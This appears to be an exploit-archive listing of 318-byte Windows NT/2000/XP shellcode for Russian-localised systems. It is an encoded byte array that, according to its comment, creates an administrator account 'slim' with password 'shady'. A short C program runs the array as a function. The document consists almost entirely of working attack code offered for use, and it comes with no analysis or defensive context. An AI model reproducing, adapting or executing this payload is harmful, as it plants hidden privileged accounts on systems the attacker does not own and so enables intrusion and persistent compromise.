windows NT/2k/XP useradd shellcode for russian systems 318 bytes

================================================================
Windows NT/2k/XP useradd shellcode for russian systems 318 bytes
================================================================





/*
\ win32 useradd shellcode for russian systems
/ by Darkeagle
\ ExploiterZ Lab
/ http://exploiterz.org
\
*/

// add user "slim" with password "shady" with admin prem. in Russian Systems
unsigned char data[318] = {
	0xEB, 0x0F, 0x58, 0x80, 0x30, 0x17, 0x40, 0x81, 0x38, 0x6D, 0x61, 0x7A, 0x61, 0x75, 0xF4, 0xEB,
	0x05, 0xE8, 0xEC, 0xFF, 0xFF, 0xFF, 0xFE, 0xB6, 0x17, 0x17, 0x17, 0x4A, 0x42, 0x26, 0xCC, 0x73,
	0x9C, 0x14, 0x57, 0x84, 0x9C, 0x54, 0xE8, 0x57, 0x62, 0xEE, 0x9C, 0x44, 0x14, 0x71, 0x26, 0xC5,
	0x71, 0xAF, 0x17, 0x07, 0x71, 0x96, 0x2D, 0x5A, 0x4D, 0x63, 0x13, 0x3E, 0xD5, 0xFC, 0xE2, 0x9E,
	0xC4, 0x9C, 0x6D, 0x2B, 0x16, 0xC0, 0x14, 0x48, 0x6F, 0x9C, 0x5C, 0x0F, 0x9C, 0x64, 0x37, 0x9C,
	0x6C, 0x33, 0x16, 0xC1, 0x16, 0xC0, 0xEB, 0xBA, 0x16, 0xC7, 0x81, 0x90, 0xEA, 0x46, 0x26, 0xDE,
	0x97, 0xD6, 0x18, 0xE4, 0xB1, 0x65, 0x1D, 0x81, 0x4E, 0x90, 0xEA, 0x63, 0x18, 0x50, 0x50, 0xF5,
	0xF1, 0xA9, 0x18, 0x17, 0x17, 0x17, 0x3E, 0xD9, 0x3E, 0xE0, 0xFC, 0xFC, 0x26, 0xD7, 0x71, 0x9C,
	0x10, 0xD6, 0xF7, 0x15, 0x9C, 0x64, 0x0B, 0x16, 0xC1, 0x16, 0xD1, 0xBA, 0x16, 0xC7, 0x9E, 0xD1,
	0x9E, 0xC0, 0x4A, 0x9A, 0x92, 0x0B, 0x17, 0x17, 0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x12, 0x17,
	0x17, 0x17, 0x9A, 0x9A, 0x27, 0x17, 0x17, 0x17, 0x46, 0xE8, 0xC7, 0x9A, 0x92, 0x33, 0x17, 0x17,
	0x17, 0x47, 0x40, 0xE8, 0xC1, 0x7F, 0x17, 0x17, 0x17, 0x17, 0xE8, 0xC7, 0xFF, 0x4D, 0xE8, 0xE8,
	0xE8, 0x50, 0x72, 0x63, 0x47, 0x65, 0x78, 0x74, 0x56, 0x73, 0x73, 0x65, 0x72, 0x64, 0x64, 0x17,
	0x5B, 0x78, 0x76, 0x73, 0x5B, 0x7E, 0x75, 0x65, 0x76, 0x65, 0x6E, 0x56, 0x17, 0x40, 0x7E, 0x79,
	0x52, 0x6F, 0x72, 0x74, 0x17, 0x52, 0x6F, 0x7E, 0x63, 0x47, 0x65, 0x78, 0x74, 0x72, 0x64, 0x64,
	0x17, 0x74, 0x7A, 0x73, 0x37, 0x38, 0x74, 0x37, 0x79, 0x72, 0x63, 0x37, 0x62, 0x64, 0x72, 0x65,
	0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x37, 0x64, 0x7F, 0x76, 0x73, 0x6E,
	0x31, 0x31, 0x79, 0x72, 0x63, 0x37, 0x7B, 0x78, 0x74, 0x76, 0x7B, 0x70, 0x65, 0x78, 0x62, 0x67,
	0x37, 0x38, 0x76, 0x73, 0x73, 0x37, 0xF7, 0xF3, 0xFB, 0xFF, 0xFA, 0xFF, 0xE6, 0xE5, 0xE7, 0xF7,
	0xE5, 0xF9, 0xE7, 0xEC, 0x37, 0x64, 0x7B, 0x7E, 0x7A, 0x17, 0x6D, 0x61, 0x7A, 0x61
};

int main()
{

   void (*c0d3)();
   printf("Win32 \"adduser shellcode\"\n");
   *(int*)&c0d3 = data;
   c0d3();
}



#  0day.today [2018-04-09]  #